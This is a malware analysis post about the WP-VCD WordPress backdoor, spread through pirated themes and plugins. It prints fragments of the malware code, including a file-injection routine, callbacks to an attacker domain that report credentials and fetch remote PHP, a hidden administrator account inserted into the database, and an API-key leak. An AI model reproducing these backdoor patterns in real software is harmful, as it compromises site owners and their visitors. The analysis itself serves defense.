Researchers at WordFence have eyed a recent uptake in attacks on WordPress involving WP-VCD backdoor malware. Since August 2019, no other WordPress-targeting malware has yielded a higher rate of new infections than WP-VCD. Such findings suggest that the malware, whose main purpose is to enable black hat SEO and malvertising activity, continues to pay off for attackers since it was first reported in the wild as far back as February 2017.

Website developers and administrators who use WordPress are typically infected with WP-VCD upon downloading malicious plugins or themes from unofficial third-party sites. Thanks to the attackers’ mastery of SEO, these pirated or “nulled” software programs can often be found on websites with high Google search term rankings, making them seem credible.

Sample wp-includes/post.php :

<?php if (file_exists(dirname(__FILE__) . '/wp-vcd.php')) include_once(dirname(__FILE__) . '/wp-vcd.php'); ?><?php
[..Rest of File..]

Sample ../wp-includes/wp-vcd.php

The injected wp-vcd.php file starts with a long base64 encoded string named $install_code

$install_code = 'c18615a1ef0e1cd813b388b4b6e29bcdc18615a1ef0e1cd813b388b4b6e29bcd[...Blah blah blah..]
$install_hash = md5($_SERVER['HTTP_HOST'] . AUTH_SALT);
$install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));

This file injects the code of this encoded string inside the theme’s functions.php, taking care of resetting the modification date and time

Sample ../wp-contents/themes/Your_Theme_Name/functions.php

if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php')){
if (strpos($content, 'WP_V_CD') === false){
$content = $install_code . $content ;
@file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php', $content);
touch( $themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR . 'functions.php' , $time );
}
else { $ping = false; }
}

then it populates remotely a database/array of hostnames and passwords of the code injections via test.php and downloads the content of a remote txt file inside class.wp.php

if ($ping) { $content = @file_get_contents(‘http://www.spekt.cc/test.php?host=' . $_SERVER[“HTTP_HOST”] . ‘&password=’ . $install_hash); @file_put_contents(ABSPATH . ‘/wp-includes/class.wp.php’, file_get_contents(‘http://www.spekt.cc/admin.txt')); }if ($ping2) { $content = @file_get_contents(‘http://www.spekt.cc/test.php?host=' . $_SERVER[“HTTP_HOST”] . ‘&password=’ . $install_hash); @file_put_contents(ABSPATH . ‘wp-includes/class.wp.php’, file_get_contents(‘http://www.spekt.cc/admin.txt'));//echo ABSPATH . ‘wp-includes/class.wp.php’; }

Sample ../wp-includes/class.wp.php

class.wp.php tries to inject a user inside the wp db

$wpdb->query(“INSERT INTO $wpdb->users (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES (‘100011111’, ‘100011111’, ‘\$P\$c18615a1ef0e1cd813b388b4B6e29bcd.’, ‘100011111’, ‘spekt@spekt.cc’, ‘’, ‘2010–06–07 00:00:00’, ‘’, ‘0’, ‘100010010’)”);

And messes with an Envato Market WordPress Toolkit API key, probably as a way to update themes.

if( isset($_GET[‘key’]) ) { $options = get_option( EWPT_PLUGIN_SLUG ); echo ‘<center><h2>’ . esc_attr( $options[‘user_name’] . ‘:’ . esc_attr( $options[‘api_key’])) . ‘<br>’; echo esc_html( envato_market()->get_option( ‘token’ ) ); echo ‘</center></h2>’; } }

Then injects the content of another remote txt file, codecxc.txt inside the temporary php directory.

function wp_temp_setupx($phpCode)
{
$tmpfname = tempnam(sys_get_temp_dir(), “wp_temp_setupx”);
$handle = fopen($tmpfname, “w+”);
fwrite($handle, “<?php\n” . $phpCode);
fclose($handle);
include $tmpfname; unlink($tmpfname);
return get_defined_vars();
}

functions.php

The b64 is injected at the top of functions.php, and seeks inside the wp db for posts and links to substitute them with new content

foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data)
[...]
$post_content = preg_replace('!<div id="'.$div_code_name.'">(.*?)</div>!s', '', $data -> post_content);
[...]
$file = preg_replace('/'.$matcholddiv[1][0].'/i',$_REQUEST['newdiv'], $file);
[...]
$file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);if ($wpdb -> query('INSERT INTO `' . $wpdb->prefix . 'datalist` SET `url` = "/'.mysql_escape_string($_REQUEST['url']).'", `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string($_REQUEST['content']).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'" ON DUPLICATE KEY UPDATE `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string(urldecode($_REQUEST['content'])).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'"'))

The html content is in part present inside the php, and in part downloaded remotely, with the help of the remote codeX.php

if ( ! function_exists( 'wp_temp_setup' ) ) {
$path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI];if($tmpcontent = @file_get_contents("http://www.spekt.cc/codeX.php?i=".$path))

It goes without saying that www.spekt.cc take advantage of the new domain privacy services to protect the identity of the registrants. They used WhoisGuard by Cloudflare.

Finally, Conclusion

Although that’s not a particularly dangerous malware,but yes this malware is capable to propagate in a shared hosting where multiple wordpress installations are present on the same root directory (cross site contamination). Extra care is needed to avoid to become victim of this kind of attacks even with an updated WordPress install.

Keep a firewall with core files changes monitoring and always update themes.

Tags:
0 Comments

Leave a reply